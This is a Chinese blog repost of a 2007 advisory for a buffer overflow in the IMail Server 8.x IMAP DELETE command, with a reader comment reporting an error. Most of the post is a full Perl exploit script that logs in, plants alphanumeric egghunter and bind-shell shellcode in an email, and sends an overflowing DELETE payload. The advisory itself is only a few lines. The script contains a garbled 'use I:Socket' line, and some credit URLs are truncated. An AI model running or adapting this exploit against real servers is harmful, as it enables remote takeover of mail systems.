IMail IMAP Service DELETE 命令溢出漏洞  

    [雷阵雨 April 29, 2007 08:45 | by ]
严重程度:高
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:客户机模式


受影响系统
IMail Server 8.x
详细描述
Muts 在 IMail Server 中发现一个安全漏洞, 能被恶意用户利用威胁到系统的安全。


这个漏洞的成因是由于IMAP service ("IMAP4D32.exe") 在处理 "DELETE" 命令时没有进行边界检查. 如果用户提交"DELETE"命令时附带超长的参数,(约 300 字节) 将导致缓冲区溢出。


成功利用者可以执行任意代码。


这个风险在 IMAIL 8.13 版本中发现,其它版本可能也受影响。


测试代码
#!/usr/bin/perl -w
###################################
#
# IPSwitch-IMail-8.13-DELETE
#
# Discovered by : Muts
# Coded by : Zatlander
# WWW.WHITEHAT.CO.IL
#
##################################
#
# Plain vanilla stack overflow in the DELETE command
# Restrictions:
# - Need valid authentication credentials
# - Input buffer only allows characters between x20 -> x7e
#
# Credits:
# - http://www.metasploit.org - HD Moor ... nbsp;metasploit shellcode
# - http://www.edup.tudelft.nl/~bjwever/menu.html - skylined for the ALPHA ascii shellcode generator # - http://ww ... ;code in the paper "Understanding Windows Shellcode" #
##################################


use I:Socket;
use Getopt::Std;
use Mail::IMAPClient;


print "Exploit for the IPSwitch IMail DELETE buffer overflow\n";
print "C0d3d by Zatlander\n";
print "Discovered by Muts\n";
print "WWW.WHITEHAT.CO.IL\n";
print "For hacking purposes only!!!\n\n";


# Find shellcode with signature "w00tw00t"; start from esp
# from 0 -> $egghunter = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIVSyBUco0OKbWdp00ptH0uXqRnkHH2a3PL Mvtvqzm6NulfePabTiaxbycrb09Gjt5xkTySjeTsEzFmSo2eXyoKRA"; $egghunter = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkN44skpmkt7fPTpptx0UXpBLKkx1Q3PL MtT4QxMVN5lc5sQSDxqyrjSW2VYUJRUXkp9SjVdT5KVosKrWxioKRA";


# Real shellcode: bind shell on port 4444 ( ./alpha edx < shellcode.bin )
$shellcode = "JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLjH2vUP7puPQCQEV6aGn kbLWT28NkpEWLlKpT35QhgqKZlKPJvxLKQJWPuQXkKSdrSyLKgDLKuQJNVQ9okLP1KpLlP8kPBT7wyQXOVmvah GZKl25kSLwTGdqeKQlK2zUts1jKSVnktL0KNkaJWlUQxkLK7tnkUQM8zKgrVQYP1OqNQMQKkreXWpSnSZp03i1 tlKGilKSkvlLKQK5Lnk7kLKckTH0SSXLNpN6nJLKOJvK9IWK1ZLuPfawps0Rwv63cMYiuJHDguPuPS0Np7qWp7 pnV6ywhYwMttYt0Yym5QYK62inDvzd0Kwy4nMDniyXYUYkENMHKxmylgKpWPSVRSovS4ruPckLMpKupRqKOYGK 9YOoyKsLMBUTTRJs7Ryv1RsYoTtNokOv534pYk9dDNnyrxrtkgWPTKOtwIoRutpfQkp2ppPrpF0spPPaPv09oR uFLniYWuaYKScpSe86bC07a3lmYIpSZVpRpQGyoruQ4QCF7kOv5thBsSdSgIoRuUpNiYWPhpCRmStwpoyXcLGy jDqIPnmQlQ4NLaz7e69zSlkNgJZosXlPTkvQT7TTP1TQvYWpDWTul5QUQLIcLTdRhK9SLQ4RlmY1letPPLMSt5 tFpqDrppQRqCaSqSa2iBqRqRspQKO45uPbH0rKNNS4VKOpU5TyoXPLIyvKO45S0QxnMN9fexNYov5S4oyHCbJK OKOTvkOzsyorU30BHl0MZfdaOkORu7tFQyKPSIo8PA";


getopts("h:u:p:", \%args);


if ((!defined $args{h}) || (!defined $args{u}) || (!defined $args{p})) {
print "Usage: $0 -h [host] -u [username] -p [password]\n";
exit;}


$usr = $args{u};
$pwd = $args{p};
$host = $args{h};


# jb +20; jnb +20 -> jump over return address (0x21 is first ascii safe offset)
$jmp21 = "r!s!";


# 0x6921526A -> pointer to "CALL [EDX+8]" ends up in return address
##########################################################################
# This should hopefully be the only version dependent variable here.
# Find an ASCII safe address pointing to a CALL [EDX+8] for your OS
##########################################################################
$calledx8 = "jR!i";


# aAA aligns ESP with the egghunter shellcode (popad, pop, pop)
$asciieh = "aAA" . $egghunter;
$asciisc = "w00tw00t" . $shellcode;
$email =
"From: \"The guy hacking you\" \r\n" .
"T \"Poor You\" \r\n" .
"Subject: $asciisc\r\n" .
"Date: Wed, 3 Nov 2004 14:45:11 +0100\r\n" .
"Message-ID: <000101c4c1acdcndj6d69b90$5e01a8c0\@snorlax>\r\n" .
"Content-Type: text/plain;\r\n\tcharset=\"us-ascii\"\r\n" .
"Content-Transfer-Encoding: 7bit\r\n" .
"\r\n" .
$asciisc;


$payload = "A" x 236 . $jmp21 x 3 . $calledx8 . "S" x 29 . $asciieh . "\r\n";


print "Login in to $host as $usr/$pwd\n";
my $imap = Mail::IMAPClient->new( Server => $host, User => $usr, Password=> $pwd) or die "Cannot connect: $@"; print "count: " . $imap->message_count("Inbox") . "\n";
print "Sending EGG\n";
$imap->select("Inbox") or die "Could not select: $@\n";
my $uid = $imap->append( "Inbox", $email ) or die "Cannot append: $@";
$msg = $imap->message_string($uid) or die "Cannot get message: $@";
#$msg = $imap->body_string($uid) or die "Cannot get message: $@";
#print "retrieving $uid back: $msg\n";


print "Overflowing DELETE\n";
$imap->delete($payload) or die "Cannot delete: $@n";


print("Finished...\n");


解决方案
限制使用或暂时停用Imail Server
Tags: ,
Technology | Comments(1) | Trackbacks(0) | Reads(13448)
freej
May 9, 2007 13:33
请问我执行时为什么提示:
syntax error at imail.pl line 23, near "use I:"
Execution of imail.pl aborted due to compilation errors.

你是否能通过?
冷漠 replied on May 9, 2007 13:51
我没有实际测试过,这个 EXP 来自网络上....不过我想应该是可以通过的吧。。可能是你环境的问题。。。。
Pages: 1/1 First page 1 Final page
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive